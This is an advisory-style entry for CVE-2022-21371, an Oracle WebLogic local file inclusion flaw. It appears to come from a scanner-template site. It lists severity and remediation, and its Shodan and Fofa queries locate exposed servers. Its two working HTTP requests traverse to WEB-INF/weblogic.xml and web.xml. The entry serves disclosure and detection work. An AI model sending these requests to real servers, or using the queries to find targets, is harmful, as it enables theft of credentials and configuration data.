| Title | Oracle WebLogic Server Local File Inclusion |
|---|---|
| Author | paradessia,narluin |
| Severity | High |
| Impact | An attacker can read sensitive files containing credentials, configuration details, or other sensitive information. |
| Remediation | Apply the latest security patches provided by Oracle to fix the vulnerability. |
| CVSS Score | 7.5 |
| EPSS Score | 0.94161 |
| CVE ID | CVE-2022-21371 |
| CWE ID | CWE-22 |
| Shodan Query | http.title:"oracle peoplesoft sign-in"product:"oracle weblogic" |
| Fofa Query | title="oracle peoplesoft sign-in" |
| Tags | cve cve2022 lfi weblogic oracle packetstorm vkev vuln |
An easily exploitable local file inclusion vulnerability allows unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server. Supported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Successful attacks of this vulnerability can result in unauthorized and sometimes complete access to critical data.
GET .//WEB-INF/weblogic.xml HTTP/1.1
Host: www.victim.com
GET .//WEB-INF/web.xml HTTP/1.1
Host: www.victim.com
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-21371.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-21371.pcap
N/AN/A